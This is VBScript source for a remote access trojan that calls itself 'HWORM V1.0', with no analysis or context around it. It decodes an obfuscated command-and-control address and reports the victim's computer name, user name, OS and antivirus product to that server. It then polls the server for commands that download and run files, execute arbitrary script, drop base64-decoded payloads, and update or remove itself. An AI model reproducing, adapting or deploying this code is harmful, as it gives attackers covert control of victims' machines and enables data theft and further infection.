On error resume Next
j = array("WScript.Shell","Scripting.filesystemobject","Shell.Application","msxml2.xmlhttp","adodb.stream")
g = array("HKCU","HKLM","HKCU\System\CurrentControlSet\défault","\Software\Microsoft\Windows\CurrentVersion\Run\","HKLM\SOFTWARE\Classes\","REG_SZ","\defaulticon\")
y= array("winmgmts:","win32_logicaldisk","Win32_OperatingSystem","winmgmts:\\localhost\root\securitycenter","AntiVirusProduct")
H=host
Set w = WScript
set sh = Cr(0)
set fs = Cr(1)
Set o=Cr(3)
Set st = Cr(4)
vn=" jjj"
U=""
ch = chrw(34)
c = chrw(92)
fu = w.scriptfullname
wn=w.scriptname
NT="-"
function go(m)
if m=4 then
Set B=GetObject(y(3)).InstancesOf(y(4))
for each a in b
go=a.displayName
exit for
next
Set B=GetObject(y(3) & "2").InstancesOf(y(4))
for each a in b
go=a.displayName
exit for
next
if go="" then go="Not-found"
else
Set B=GetObject(y(0)).InstancesOf(y(m))
for each a in b
if m = 1 then
go=a.volumeserialnumber
elseif m = 2 then
go=a.caption
end if
exit for
next
end if
end function
Function host
Dim oXMLHTTP
Dim oStream
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP.3.0")
oXMLHTTP.Open "GET", decrypt("\DA@@);?EQ@GQR\^=P[]:BRD;ZM#PkW#f","405033"), False
oXMLHTTP.Send
If oXMLHTTP.Status = 200 Then
host = oXMLHTTP.responseText
End If
End Function
Function Cr(N)
Set Cr = CreateObject(j(N))
End Function
function Ex(s)
Ex = sh.ExpandEnvironmentStrings(s)
end function
function Pt(C,A)
Pt=""
Set X=Cr(3)
X.Open "POST","http://"&H&"/"&C,false
X.setrequestheader "User-Agent:",information
X.send A
Pt=X.responsetext
set X=nothing
end Function
function information
on error resume Next
 Set f = fs.GetFile(fu)
inf = ""
if  inf = "" then
    inf = go(1) & spl
    inf = inf & vn & NT & spl
    inf = inf  & ex("%computername%") & spl
    inf = inf  & ex("%username%") & spl
    inf = inf & go(2) & spl
    inf = inf & "HWORM V1.0" & spl
    inf = inf & go(4) & spl
    inf = inf &  U & "!"& FormatDateTime( f.DateCreated,2)
    information = inf
else
    information = inf
end if
end Function

Sub Ns
on error resume next
If fs.FileExists(dr) Then
else

'%ScTk%


End If
end Sub


if fs.fileexists(ex("%Windir%") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe") then
NT="+"
end if
U= sh.regread(g(2))
if U="" then
if mid(fu,2)=":\" & wn then
U="TRUE"
sh.regwrite g(2), U, g(4)
else
U="FALSE"
sh.regwrite g(2), U, g(4)
end if
end if
spl="123139C2C7E5870FC4"
while true
s=split(Pt("47FE1305DAAEEB70",""),spl)
select case s(0)
Case "5DF0AEAF4F15BFB1"
sitedownloader s(1),s(2)
Case  "5DF59151AA"
sleep = Eval (s(1))
case "excecute"
execute  s(1)
case "5DFCDC52"
Dim mfile
outFile = Ex("%temp%") & "\" & s(2)
 mfile = decodeBase64(s(1))
writeBytes outFile, mfile
sh.Run outFile,0,True
case "7C6D51"
set wr = fs.OpenTextFile(fu,1)
f = wr.ReadAll
wr.close()
f = replace(f,vn,s(1))
set wr = fs.OpenTextFile(fu,2,false)
wr.Write f
wr.close()
sh.run "wscript.exe //B " & ch & fu & ch, 6
w.quit
case "5B85AF42E710"
set wr = fs.OpenTextFile(fu,2,false)
wr.Write s(1)
wr.Close()
sh.run "wscript.exe //B " & ch & fu & ch, 6
pt "47FE130239B49532F5",""
w.quit
case "6DD6"
W.quit
case "5B9BBEE44B148293C9"
S(1) = replace(S(1),"%f",fu)
S(1) = replace(S(1),"%n",wn)
S(1) = replace(S(1),"%sfdr",dr)
pt "47FE13022765F07788190657",""
execute S(1)
w.quit
end Select
W.Sleep 4000

Ns
Wend
Sub sitedownloader (fileurl,filename)
strlink = fileurl
strsaveto = Ex("%temp%") & "\" & filename
o.open "get", strlink, False
o.send
If  fs.fileexists (strsaveto) Then
fs.deletefile (strsaveto)
End If
If o.status = 200 Then
With st
.type = 1
.open
.write o.responsebody
.savetofile strsaveto
.close
End With
Set st = Nothing
End If
If fs.fileexists(strsaveto) Then
sh.run fs.getfile (strsaveto).shortpath
End If
End Sub
private function decodeBase64(base64)
  dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
end Function
private Sub writeBytes(file, bytes)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
  binaryStream.Type = 1
   binaryStream.Open
  binaryStream.Write bytes
  binaryStream.SaveToFile file, 2
End Sub
function decrypt(Data, key)
  Dim I, Z
  Dim C
  Dim Code
  Dim Result

  Result=""
  if len(Data) > 0 then
    Z=len(key)
    for I = 1 to len(Data)
      Code=Asc(mid(key, ((I - 1) mod Z + 1)))
      if Asc(Mid(Data, I, 1)) >= 128 then
        C= Chr(Asc(Mid(Data, I, 1)) xor (Code and &H7F))
      elseif Asc(Mid(Data, I, 1)) >= 64 then
        C= Chr(Asc(Mid(Data, I, 1)) xor (Code and &H3F))
      elseif Asc(Mid(Data, I, 1)) >= 32 then
        C= Chr(Asc(Mid(Data, I, 1)) xor (Code and &H1F))
      else
        C=Mid(Data, I, 1)
      End If
      Result=Result & C
     next
   end if
   decrypt = Result
End Function